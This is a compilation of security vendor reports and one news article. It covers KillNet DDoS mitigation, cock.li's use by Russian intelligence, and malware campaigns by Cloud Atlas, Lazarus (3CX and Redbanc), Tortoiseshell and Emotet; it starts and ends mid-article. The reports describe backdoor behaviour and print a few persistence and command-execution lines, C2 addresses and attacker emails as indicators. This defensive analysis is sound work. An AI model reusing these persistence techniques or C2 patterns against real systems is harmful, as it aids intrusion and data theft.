Another attack targeted a multinational industrial company. The attack lasted several days and included layer 4 TCP SYN and ACK, as well as layer 7 HTTP request attacks on the company’s website. It was launched from a botnet comprising 22,000 attack sources. The attack volume was similarly not very high, hitting 250K pps, and each attack source sent a relatively small amount of HTTP traffic to the attacked website. The majority of the traffic pattern appeared as if it was legitimate client traffic. However, the number of connections created aimed to consume state and CPU resources. The top three countries from which the adversary launched the botnet attack were the US, Russia, and Ukraine. These attacks were successfully mitigated for customers enrolled in Azure DDoS Network Protection and Web Application Firewall services. ## Mitigating DDoS Attacks from KillNet and Other Adversaries KillNet and its affiliated adversaries utilize DDoS attacks as their most common tactic. By using DDoS scripts and stressors, recruiting botnets, and utilizing spoofed attack sources, KillNet could easily disrupt the online presence of websites and apps. KillNet attempted to evade DDoS mitigation strategies by changing their attack vectors, such as utilizing different layer 4 and layer 7 attack techniques and increasing the number of sources participating in the attack campaign. Azure DDoS Network Protection helps to protect apps and resources with a profile automatically tuned to expected traffic volume. Customers can defend themselves against even the most sophisticated attacks with an Azure global network that provides dedicated monitoring, logging, telemetry, and alerts. Azure DDoS Network Protection not only detects and mitigates DDoS attacks, but also minimizes the impact on legitimate traffic, such as in cases where botnets are harnessed to carry out attacks. We employ various mitigations to minimize false positives, including utilizing authentication, foot printing, and connection and rate-limiting countermeasures. With DDoS Rapid Response, DDoS Network Protection customers can leverage a hotline to a DDoS service team that helps in attack mitigation, which is important when attack campaigns are highly coordinated. The combination of Azure's DDoS Network Protection and Web Application Firewall (WAF) provides protection for layer 3, 4, and 7 DDoS attacks. ## Steps to Protect Against and Respond to DDoS Attacks To defend against DDoS attacks, organizations hosting web applications in Azure are recommended to take the following steps: 1. **Enable DDoS Network Protection.** Enabling DDoS Network Protection takes only a few steps, and customers don’t need to change their network architecture. Include Azure WAF to protect your application against layer 7 DDoS attacks and other application attacks. Use Azure Front Door CDN to minimize the threat of DDoS attacks by distributing and balancing web traffic across Azure’s global network. 2. **Design your application with DDoS best practices in mind,** and ensure it’s protected before an attack occurs. Design your DDoS Protection strategy based on fundamental best practices. Make sure you test your application readiness and DDoS Protection by simulating DDoS attacks with one of our partners. 3. **Create a DDoS response plan.** Having a response plan is critical to help you identify, mitigate, and quickly recover from DDoS attacks. A key part of the strategy is a DDoS response team with clearly defined roles and responsibilities. This DDoS response team should understand how to identify, mitigate, and monitor an attack and be able to coordinate with internal stakeholders and customers. 4. **Reach out for help during an attack.** During attacks, you need to count on experts that will help you to mitigate the attack while ensuring no downtime and keeping the application up and running. Azure DDoS Network Protection customers have access to the DDoS Rapid Response team, who can help with investigation during an attack as well as post-attack analysis. 5. **Learn and adapt after an attack.** While you’ll likely want to move on as quickly as possible if you’ve experienced an attack, it’s important to continue to monitor your resources and conduct a retrospective after an attack. You should apply any learnings to improve your DDoS response strategy. *Amir Dahan and Syed Pasha, Azure Network Security Team*
# 'Cock.li' Admin Says He’s Not Surprised Russian Intelligence Uses His Site On Monday the FBI, DHS, and CISA—the U.S. government agency focused on defensive cybersecurity—published a report laying out the tools, techniques, and capabilities of the SVR, the Russian foreign intelligence service that the U.S. has blamed for the wide-spanning SolarWinds supply chain hack. That report said that the SVR makes use of a specific anonymous email service called cock.li. The administrator of cock.li has now told Motherboard that this is the first time he has heard of the SVR using his service, but that "it's hard to surprise me nowadays." "This is the first time I've heard for sure that Russian intelligence is using cock.li, but it's not surprising, since the CIA uses it too," Vincent Canfield, the administrator of cock.li, said in a Twitter direct message. Canfield declined to provide evidence that American intelligence agencies use the service. Cock.li is an established, albeit obscure, meme email service. In 2015, Motherboard reported how Canfield said that German authorities had seized a hard drive from one of his servers after someone used the service to send a hoax bomb threat. Following the threat, all public schools in Los Angeles closed for a day. Two years later Canfield said SoundCloud removed audio of a phone call he had with the FBI concerning a bomb threat made against the Miami FBI office. The site allows users to also create XMPP accounts, which can be used for encrypted instant messaging, and lets them sign up while using the anonymity network Tor or other proxies. Many other email services block users who sign up using a VPN, for instance. Canfield claimed the service has over a million users, including with domains that aren't listed on the site's front page. The tagline of the service is "Yeah it’s email with cocks." Under the heading "General Tradecraft Observations," the joint FBI-DHS-CISA report says that "SVR cyber operators are capable adversaries." "FBI investigations have revealed infrastructure used in the intrusions is frequently obtained using false identities and cryptocurrencies," it continues. "These false identities are usually supported by low reputation infrastructure including temporary e-mail accounts and temporary voice over internet protocol (VoIP) telephone numbers. While not exclusively used by SVR cyber actors, a number of SVR cyber personas use e-mail services hosted on cock[.]li or related domains." Some of cock.li's other domains include "national.shitposting.agency" and "wants.dicksinmyan.us." "Anonymous e-mail is a necessary tool enjoyed by people across the world, including governments. It's a critical building block to a free Internet and if it's not provided by independent companies like ours these state actors are likely to operate their own e-mail providers, Crypto AG style," Canfield continued, referring to a historical case where the CIA secretly ran an encryption company in Switzerland in order to intercept others' communications. "We're proud to have worked with dozens of governments by educating them on the nature of anonymous e-mail, and while data is never handed over without legal obligation in our jurisdiction, these reports have still helped to stop thousands of bad actors and these governments have thanked us as a result," Canfield said, adding that those who have information about users violating cock.li's terms of service can contact an abuse address. Cock.li's terms of service says that users may be banned for "Conducting any activity that breaks the laws in which cock.li is governed," and "Encouraging others to break cock.li's rules or the law using cock.li." After publication of the joint report, Kyle Ehmke, a researcher with cybersecurity firm ThreatConnect, tweeted that "it's worth noting that 4400+ domains (current and historic) have been registered using a cock[.]li address. SVR registration among those almost certainly are a small percentage."
# Recent Cloud Atlas Activity Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage operations targeting industries and governmental entities. We first reported Cloud Atlas in 2014 and we’ve been following its activities ever since. From the beginning of 2019 until July, we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia, Central Asia, and regions of Ukraine with ongoing military conflicts. Cloud Atlas hasn’t changed its TTPs (Tactic Tools and Procedures) since 2018 and is still relying on its effective existing tactics and malware in order to compromise high-value targets. The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high-profile victims. These emails are crafted with Office documents that use malicious remote templates – allowlisted per victims – hosted on remote servers. We described one of the techniques used by Cloud Atlas in 2017, and our colleagues at Palo Alto Networks also wrote about it in November 2018. Previously, Cloud Atlas dropped its “validator” implant named “PowerShower” directly, after exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802. During recent months, we have seen a new infection chain, involving a polymorphic HTA, a new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas second stage modular backdoor that we disclosed five years ago in our first blog post about them and which remains unchanged. ## Let’s Meet PowerShower PowerShower, named and previously disclosed by Palo Alto Networks, is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower. The PowerShower backdoor – even in its later developments – takes three commands: - **0x80 (Ascii “P”)**: It is the first byte of the magic PK. The implant will save the received content as a ZIP archive under %TEMP%\PG.zip. - **0x79 (Ascii “O”)**: It is the first byte of “On resume error”. The implant saves the received content as a VBS script under “%APPDATA%\Microsoft\Word\[A-Za-z]{4}.vbs” and executes it by using Wscript.exe. - **Default**: If the first byte doesn’t match 0x80 or 0x79, the content is saved as an XML file under “%TEMP%\temp.xml”. After that, the script loads the content of the file, parses the XML to get the PowerShell commands to execute, decodes them from Base64, and invokes IEX. After executing the commands, the script deletes “%TEMP%\temp.xml” and sends the content of “%TEMP%\pass.txt” to the C2 via an HTTP POST request. A few modules deployed by PowerShower have been seen in the wild, such as: - A PowerShell document stealer module which uses 7zip (present in the received PG.zip) to pack and exfiltrate *.txt, *.pdf, *.xls, or *.doc documents smaller than 5MB modified during the last two days. - A reconnaissance module which retrieves a list of the active processes, the current user, and the current Windows domain. Interestingly, this feature is present in PowerShower, but the condition leading to the execution of that feature is never met in the recent versions of PowerShower. - A password stealer module which uses the open-source tool LaZagne to retrieve passwords from the infected system. We haven’t yet seen a VBS module dropped by this implant, but we think that one of the VBS scripts dropped by PowerShower is a dropper of the group’s second stage backdoor documented in our article back in 2014. ## And His New Friend, VBShower During its recent campaigns, Cloud Atlas used a new “polymorphic” infection chain relying no more on PowerShower directly after infection, but executing a polymorphic HTA hosted on a remote server, which is used to drop three different files on the local system: - A backdoor that we name VBShower which is polymorphic and replaces PowerShower as a validator. - A tiny launcher for VBShower. - A file computed by the HTA which contains contextual data such as the current user, domain, computer name, and a list of active processes. This “polymorphic” infection chain allows the attacker to try to prevent IoC-based defense, as each code is unique by victim so it can’t be searched via file hash on the host. The VBShower backdoor has the same philosophy as the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in “%APPDATA%\..\Local\Temporary Internet Files\Content.Word” and “%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word”. Once these files have been deleted and its persistence is achieved in the registry, VBShower sends the context file computed by the HTA to the remote server and tries to get via HTTP a VBS script to execute from the remote server every hour. At the time of writing, two VBS files have been seen pushed to the target computer by VBShower. The first one is an installer for PowerShower, and the second one is an installer for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage service via Webdav. ## Final Words Cloud Atlas remains very prolific in Eastern Europe and Central Asia. The actor’s massive spear-phishing campaigns continue to use its simple but effective methods in order to compromise its targets. Unlike many other intrusion sets, Cloud Atlas hasn’t chosen to use open-source implants during its recent campaigns, in order to be less discriminating. More interestingly, this intrusion set hasn’t changed its modular backdoor, even five years after its discovery. ## IoCs Some emails used by the attackers: - infocentre.gov@mail.ru - middleeasteye@asia.com - simbf2019@mail.ru - world_overview@politician.com - infocentre.gov@bk.ru VBShower registry persistence: - **Key**: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]{8} - **Value**: wscript //B “%APPDATA%\[A-Za-z]{5}.vbs” VBShower paths: - %APPDATA%\[A-Za-z]{5}.vbs.dat - %APPDATA%\[A-Za-z]{5}.vbs - %APPDATA%\[A-Za-z]{5}.mds VBShower C2s: - 176.31.59.232 - 144.217.174.57
# Linux Malware Strengthens Links Between Lazarus and the 3CX Supply-Chain Attack April 20, 2023 Similarities with newly discovered Linux malware used in Operation DreamJob corroborate the theory that the infamous North Korea-aligned group is behind the 3CX supply-chain attack. ESET researchers have discovered a new Lazarus Operation DreamJob campaign targeting Linux users. Operation DreamJob is a series of campaigns where the group uses social engineering techniques to compromise its targets, with fake job offers as the lure. In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload: the SimplexTea Linux backdoor distributed through an OpenDrive cloud storage account. To our knowledge, this is the first public mention of this major North Korea-aligned threat actor using Linux malware as part of this operation. Additionally, this discovery helped us confirm with a high level of confidence that the recent 3CX supply-chain attack was in fact conducted by Lazarus – a link that was suspected from the very beginning and demonstrated by several security researchers since. In this blog post, we corroborate these findings and provide additional evidence about the connection between Lazarus and the 3CX supply-chain attack. ## The 3CX Supply-Chain Attack 3CX is an international VoIP software developer and distributor that provides phone system services to many organizations. According to its website, 3CX has more than 600,000 customers and 12,000,000 users in various sectors including aerospace, healthcare, and hospitality. It provides client software to use its systems via a web browser, mobile app, or a desktop application. Late in March 2023, it was discovered that the desktop application for both Windows and macOS contained malicious code that enabled a group of attackers to download and run arbitrary code on all machines where the application was installed. Rapidly, it was determined that this malicious code was not something that 3CX added themselves, but that 3CX was compromised and that its software was used in a supply-chain attack driven by external threat actors to distribute additional malware to specific 3CX customers. This cyber-incident has made headlines in recent days. Initially reported on March 29th, 2023 in a Reddit thread by a CrowdStrike engineer, followed by an official report by CrowdStrike, stating with high confidence that LABIRINTH CHOLLIMA, the company’s codename for Lazarus, was behind the attack (but omitting any evidence backing up the claim). Because of the seriousness of the incident, multiple security companies started to contribute their summaries of the events, namely Sophos, Check Point, Broadcom, Trend Micro, and more. Further, the part of the attack affecting systems running macOS was covered in detail in a Twitter thread and a blog post by Patrick Wardle. ## Timeline of Events The timeline shows that the perpetrators had planned the attacks long before execution; as early as December 2022. This suggests they already had a foothold inside 3CX’s network late last year. While the trojanized 3CX macOS application shows it was signed in late January, we did not see the bad application in our telemetry until February 14th, 2023. It is unclear whether the malicious update for macOS was distributed prior to that date. Although ESET telemetry shows the existence of the macOS second-stage payload as early as February, we did not have the sample itself, nor metadata to tip us off about its maliciousness. We include this information to help defenders determine how far back systems might have been compromised. Several days before the attack was publicly revealed, a mysterious Linux downloader was submitted to VirusTotal. It downloads a new Lazarus malicious payload for Linux and we explain its relationship to the attack later in the text. ## Attribution of the 3CX Supply-Chain Attack to Lazarus There is one domain that plays a significant role in our attribution reasoning: journalide[.]org. It is mentioned in some of the vendor reports linked above, but its presence is never explained. Interestingly, articles by SentinelOne and ObjectiveSee do not mention this domain. Neither does a blog post by Volexity, which even refrained from providing attribution, stating “Volexity cannot currently map the disclosed activity to any threat actor.” Its analysts were among the first to investigate the attack in depth and they created a tool to extract a list of C&C servers from encrypted icons on GitHub. This tool is useful, as the attackers did not embed the C&C servers directly in the intermediate stages, but rather used GitHub as a dead drop resolver. The intermediate stages are downloaders for Windows and macOS that we denote as IconicLoaders, and the payloads they get as IconicStealer and UpdateAgent, respectively. On March 30th, Joe Desimone, a security researcher from Elastic Security, was among the first to provide, in a Twitter thread, substantial clues that the 3CX-driven compromises are probably linked to Lazarus. He observed that a shellcode stub prepended to the payload from d3dcompiler_47.dll is similar to AppleJeus loader stubs attributed to Lazarus by CISA back in April 2021. On March 31st it was being reported that 3CX had retained Mandiant to provide incident response services relating to the supply-chain attack. On April 3rd, Kaspersky, through its telemetry, showed a direct relationship between the 3CX supply-chain victims and the deployment of a backdoor dubbed Gopuram, both involving payloads with a common name, guard64.dll. Kaspersky data shows that Gopuram is connected to Lazarus because it coexisted on victim machines alongside AppleJeus, malware that was already attributed to Lazarus. Both Gopuram and AppleJeus were observed in attacks against a cryptocurrency company. Then, on April 11th, the CISO of 3CX summarized Mandiant’s interim findings in a blog post. According to that report, two Windows malware samples, a shellcode loader called TAXHAUL and a complex downloader named COLDCAT, were involved in the compromise of 3CX. No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal. ## Operation DreamJob with a Linux Payload The Lazarus group’s Operation DreamJob involves approaching targets through LinkedIn and tempting them with job offers from industry leaders. The name was coined by ClearSky in a paper published in August 2020. That paper describes a Lazarus cyberespionage campaign targeting defense and aerospace companies. The activity has overlap with what we call Operation In(ter)ception, a series of cyberespionage attacks that have been ongoing since at least September 2019. It targets aerospace, military, and defense companies and uses specific malicious, initially Windows-only, tools. During July and August 2022, we found two instances of Operation In(ter)ception targeting macOS. One malware sample was submitted to VirusTotal from Brazil, and another attack targeted an ESET user in Argentina. A few weeks ago, a native Linux payload was found on VirusTotal with an HSBC-themed PDF lure. This completes Lazarus’s ability to target all major desktop operating systems. On March 20th, a user in the country of Georgia submitted to VirusTotal a ZIP archive called HSBC job offer.pdf.zip. Given other DreamJob campaigns by Lazarus, this payload was probably distributed through spearphishing or direct messages on LinkedIn. The archive contains a single file: a native 64-bit Intel Linux binary written in Go and named HSBC job offer․pdf. Interestingly, the file extension is not .pdf. This is because the apparent dot character in the filename is a leader dot represented by the U+2024 Unicode character. The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF. This could cause the file to run when double-clicked instead of opening it with a PDF viewer. On execution, a decoy PDF is displayed to the user using xdg-open, which will open the document using the user’s preferred PDF viewer. We decided to call this ELF downloader OdicLoader, as it has a similar role as the IconicLoaders on other platforms and the payload is fetched from OpenDrive. OdicLoader drops a decoy PDF document, displays it using the system’s default PDF viewer, and then downloads a second-stage backdoor from the OpenDrive cloud service. The downloaded file is stored in ~/.config/guiconfigd (SHA-1: 0CA1723AFE261CD85B05C9EF424FC50290DCE7DF). We call this second-stage backdoor SimplexTea. As the last step of its execution, the OdicLoader modifies ~/.bash_profile, so SimplexTea is launched with Bash and its output is muted (~/.config/guiconfigd >/dev/null 2>&1). SimplexTea is a Linux backdoor written in C++. As highlighted in Table 1, its class names are very similar to function names found in a sample, with filename sysnetd, submitted to VirusTotal from Romania (SHA-1: F6760FB1F8B019AF2304EA6410001B63A1809F1D). Because of the similarities in class names and function names between SimplexTea and sysnetd, we believe SimplexTea is an updated version, rewritten from C to C++. ## How is sysnetd related to Lazarus? We attribute sysnetd to Lazarus because of its similarities with the following two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL): - P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection. It was attributed to Lazarus by CISA in December 2017. From September 2019, CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47). - prtspool (SHA-1: 58B0516D28BD7218B1908FB266B8FE7582E22A5F), which shows code similarities to sysnetd. It was attributed to Lazarus by CISA in February 2021. Note as well that SIMPLESEA, a macOS backdoor found during the 3CX incident response, implements the A5/1 stream cipher. This Linux version of the BADCALL backdoor, sysnetd, loads its configuration from a file named /tmp/vgauthsvclog. Since Lazarus operators have previously disguised their payloads, the use of this name, which is used by the VMware Guest Authentication service, suggests that the targeted system may be a Linux VMware virtual machine. Interestingly, the XOR key in this case is the same as one used in SIMPLESEA from the 3CX investigation. ## Additional Attribution Data Points To recap what we’ve covered so far, we attribute the 3CX supply-chain attack to the Lazarus group with a high level of confidence. This is based on the following factors: 1. **Malware (the intrusion set)**: - The IconicLoader (samcli.dll) uses the same type of strong encryption – AES-GCM – as SimplexTea (whose attribution to Lazarus was established via the similarity with BALLCALL for Linux); only the keys and initialization vectors differ. - Based on the PE Rich Headers, both IconicLoader (samcli.dll) and IconicStealer (sechost.dll) are projects of a similar size and compiled in the same Visual Studio environment as the executables iertutil.dll (SHA-1: 5B03294B72C0CAA5FB20E7817002C600645EB475) and iertutil.dll (SHA-1: 7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC) reported in the Lazarus cryptocurrency campaigns by Volexity and Microsoft. - SimplexTea payload loads its configuration in a very similar way to the SIMPLESEA malware from the 3CX official incident response. The XOR key differs (0x5E vs. 0x7E), but the configuration bears the same name: apdl.cf. 2. **Infrastructure**: - There is shared network infrastructure with SimplexTea, as it uses https://journalide[.]org/djour.php as its C&C, whose domain is reported in the official results of the incident response of the 3CX compromise. ## Conclusion The 3CX compromise has gained a lot of attention from the security community since its disclosure on March 29th. This compromised software, deployed on various IT infrastructures, which allows the download and execution of any kind of payload, can have devastating impacts. Unfortunately, no software publisher is immune to being compromised and inadvertently distributing trojanized versions of their applications. The stealthiness of a supply-chain attack makes this method of distributing malware very appealing from an attacker’s perspective. Lazarus has already used this technique in the past, targeting South Korean users of WIZVERA VeraPort software in 2020. Similarities with existing malware from the Lazarus toolset and with the group’s typical techniques strongly suggest the recent 3CX compromise is the work of Lazarus as well. It is also interesting to note that Lazarus can produce and use malware for all major desktop operating systems: Windows, macOS, and Linux. Both Windows and macOS systems were targeted during the 3CX incident, with 3CX’s VoIP software for both operating systems being trojanized to include malicious code to fetch arbitrary payloads. In the case of 3CX, both Windows and macOS second-stage malware versions exist. This article demonstrates the existence of a Linux backdoor that probably corresponds to the SIMPLESEA macOS malware seen in the 3CX incident. We named this Linux component SimplexTea and showed that it is part of Operation DreamJob, Lazarus’s flagship campaign using job offers to lure and compromise unsuspecting victims.
# Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access. Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware. This is an unusually large number of computers to be compromised in a targeted attack. It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them. We have seen Tortoiseshell activity as recently as July 2019. ## Custom tools The unique component used by Tortoiseshell is a malware called Backdoor.Syskit. This is a basic backdoor that can download and execute additional tools and commands. The actors behind it have developed it in both Delphi and .NET. Backdoor.Syskit is run with the “-install” parameter to install itself. There are a number of minor variations of the backdoor, but the primary functionality is the following: - Reads config file: `%Windir%\temp\rconfig.xml` - Writes Base64 encoding of AES encrypted (with key "fromhere") version of the data in the "url" element of the XML to: `HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd`. This contains the command and control (C&C) information. - Writes Base64 encoding of AES encrypted (with key "fromhere") version of the "result" element of the XML to: `HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd`. This holds the later portion of the URL to append to the C&C for sending information to it. - Deletes the config file. The malware collects and sends the machine’s IP address, operating system name and version, and Mac address to the C&C server using the URL in the Sendvmd registry key mentioned above. Data sent to the C&C server is Base64 encoded. The backdoor can receive various commands: - `"kill_me"`: stops the dllhost service and deletes `%Windir%\temp\bak.exe` - `"upload "`: downloads from the URL provided by the C&C server - `"unzip"`: uses PowerShell to unzip a specified file to a specified destination, or to run `cmd.exe /c <received command>` ## Tools, techniques, and procedures The other tools used by the group are public tools, and include: - Infostealer/Sha.exe/Sha432.exe - Infostealer/stereoversioncontrol.exe - get-logon-history.ps1 Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logon-history.ps1 tool. It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine. It then compresses this information before transferring it to a remote directory. Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine. We also saw Tortoiseshell using other dumping tools and PowerShell backdoors. The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker. For at least one victim, the first indication of malware on their network was a web shell. This indicates that the attackers likely compromised a web server and then used this to deploy malware onto the network. This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network. Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity, etc. On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller. This results in the information gathering tools being executed automatically when a client computer logs into the domain. ## Presence of OilRig tools In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools. Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East. The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig. It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools; however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated. If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region. The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig. ## Attacker motives The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers’ customers. Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018. Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software. IT providers are an ideal target for attackers given their high level of access to their clients’ computers. This access may give them the ability to send malicious software updates to target machines and may even provide them with remote access to customer machines. This provides access to the victims’ networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered. The targeting of a third-party service provider also makes it harder to pinpoint who the attackers’ true intended targets were. The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East. However, we currently have no evidence that would allow us to attribute Tortoiseshell’s activity to any existing known group or nation state. ## Protection/Mitigation The following protections are also in place to protect customers against Tortoiseshell activity: ### Backdoor.Syskit **Indicators of Compromise** | SHA256 | Name | |------------------------------------------------------------------------|-----------------| | f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 | Backdoor.Syskit | | 02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 | Backdoor.Syskit | | 07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 | Backdoor.Syskit | **Backdoor.Syskit C&C servers** - 64.235.60.123 - 64.235.39.45 The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks.
# The Re-Emergence of Emotet November 30, 2021 | Ron Ben Yizhak Emotet, the malware botnet, has resurfaced after almost 10 months. The operation was originally taken down by multiple international law enforcement agencies this past January. These agencies took control of the infrastructure and scheduled an un-installation of the malware on April 25. So what does the re-emergence of Emotet mean, and how can cyber professionals prepare for new threats? This blog will analyze the new DLL, break down a new unpacking technique and new features, and review similarities in the new variant with the previous version. We will also explore a novel tool called “DeMotet” that automates the analysis of Emotet samples on a large scale and includes an unpacker for the latest loader and decryption scripts for the payload. It is used to detect any modification in the malware, and it is now publicly available. ## Static Analysis For this analysis, the following sample will be used: `76816ba1a506eba7151bce38b3e6d673362355063c8fd92444b6bec5ad106c21` As shown in our previous blog posts, the execution flow of Emotet consists of multiple stages that are unpacked in succession. As expected, this is still the case with the new variant. The DLL that is written to disk isn’t the actual payload that communicates with the C2 servers. This can be seen by a review of the static information of the resources. The entropy of the bitmap resource is high, and it most likely contains encrypted information. To unpack the next stage, the decryption routine needs to be found. This resource will be accessed before decryption starts. A breakpoint can be set on the “FindResourceA” function to reach this point. ## Extracting the Next Stage The malware reaches the breakpoint and then returns to the address `0x10005701`. The parameters for “FindResourceA” match the suspicious resource. This API is called through a register because it isn’t imported. The address is located in runtime to hinder static analysis. The function then allocates memory based on the size of the resource and goes through some decryption loops. The return value is the next stage. The size of the file is specified in the code, which makes the extraction from memory even easier. ## Comparing Variants In the past, there was a middle stage between the loader and the payload. Based on our previous analysis of the Emotet payload, the file extracted is the payload itself and not a middle stage. 1. The PE file has no imported API functions. 2. There are barely any strings present. 3. The malware utilizes the same code obfuscation techniques. The payload conceals its capabilities by hiding information that is used for static analysis. The names of the API functions are stored in the code after they were hashed. Their address is located in run-time instead of using the Import Address Table. The strings are encrypted inside the file. The code is obfuscated using Control Flow Flattening, which works as follows: 1. A number is assigned to each basic block. 2. The obfuscator introduces a block number variable, indicating which block should execute. 3. Each block, instead of transferring control to a successor with a branch instruction, updates the block number variable to its chosen successor. 4. The ordinary control flow is replaced with a switch statement over the block number variable, wrapped inside of a loop. New imported functions from `bcrypt.dll` were added to the payload. The strings that represent constants for those functions were also added, such as “ECDH_P256” and “Microsoft Primitive Provider.” This is probably due to Emotet changing its communication protocol from HTTP to HTTPS. The name hashing and strings decryption algorithms were kept. This means that “DeMotet” is still able to discover this information. ## Introducing “DeMotet” Deep Instinct has been closely following Emotet for some time. “DeMotet” was developed to automate the research performed on the malware. The tool is a static unpacker for the latest variant of the Emotet loader. It can extract the encrypted payload from the resource without executing the malware. Python scripts are also included in this tool. They reveal the hidden strings and API calls the payload uses. The first one is a standalone script that can be used to extract this information from a large number of payloads. The second one is an IDA plugin. It adds this information as comments in the code. "DeMotet” can be used to track new variants of the malware. New samples of Emotet can be downloaded and unpacked regularly. Once the unpacking process of the malware is modified, the tool will fail. This is an indication of a new variant. The variant will then be manually analyzed to update the tool so the automation can be restored. Finding new strings and imported functions in the payload is also indicative of a new feature. ## Summary The notorious botnet Emotet is back, and we can expect that new tricks and evasion techniques will be implemented in the malware as the operation progresses, perhaps even returning to being a significant global threat. However, by using the techniques and tools presented in this article, the analysis of the malware can be simplified and automated. Deep Instinct takes a prevention-first approach to stopping ransomware and other malware using the world’s first and only purpose-built, deep learning cybersecurity framework. We predict and prevent known, unknown, and zero-day threats in <20 milliseconds, 750X faster than the fastest ransomware can encrypt. ## IOC **Loaders SHA256** `3b3b65d42e44bcc0df291ddab72f1351784f7e66357a4ec75ee5c982ef556149` `6b477d63b3504c6eab3c35057b99d467039995783f5f14714ae6af4f83b9dcb3` `442ff2de8a19c3f6cf793f9209ffd21da18aa7eb5b4c4c280222eb9f10a2c68a` `9ac36258c63a5edfd29e3ed1882c61487ef2c70637192108cc84eb4ea27f7502` `00ceb55abdb43042c6f7fabd327e6e1a6cdefed723dea6c4e90d159b9466518c`
# Disclosure of Chilean Redbanc Intrusion Leads to Lazarus Ties January 15, 2019 Flashpoint analysts believe that the recently disclosed intrusion suffered in December 2018 by Chilean interbank network Redbanc involved PowerRatankba, a malware toolkit with ties to North Korea-linked advanced persistent threat (APT) group Lazarus. Redbanc confirmed that the malware was installed on the company’s corporate network without triggering antivirus detection; however, the threat has since been mitigated and did not impact company operations, services, or infrastructure. This intrusion represents the latest known example of Lazarus-affiliated tools being deployed within financially motivated activity targeted toward financial institutions in Latin America. ## Chilean Redbanc Intrusion: Reported Initial Attack Vector According to recent reporting, the intrusion occurred due to malware delivered via a trusted Redbanc IT professional who clicked to apply to a job opening found through social media. The individual who appeared to have posted the open position then contacted the applicant from Redbanc to arrange a brief interview, which occurred shortly thereafter in Spanish via Skype. Having never expressed any doubts about the legitimacy of the open position, application, or interview process, the applicant was ultimately and unwittingly tricked into executing the payload. ## Referenced Sample Leads to North-Korean Lazarus “PowerRatankba” In the publicly referenced samples attributed to the Redbanc intrusion, Flashpoint analysts identified the dropper sample as being related to the Lazarus malware PowerRatankba. The dropper is a Microsoft Visual C#/Basic .NET (v4.0.30319)-compiled executable that contains the logic to call the server and download a PowerRatankba PowerShell reconnaissance tool. The malware timestamp displays the possible compilation time of Wednesday, October 31, 2018, 00:07:53 UTC with the program database as F:.GenereatePDF\CardOffer\salary\salary\obj\Release\ApplicationPDF.pdb. The dropper displays a fake job application form while downloading and executing PowerRatankba. The payload was not available from the server during the time of the analysis but was recovered from the sandbox at the time of analysis. This allowed analysts to create a likely scenario of how the malware chain worked. The malware functions responsible for execution are contained within the ThreadProc and SendUrl functions, processing Base64-encoded parameters 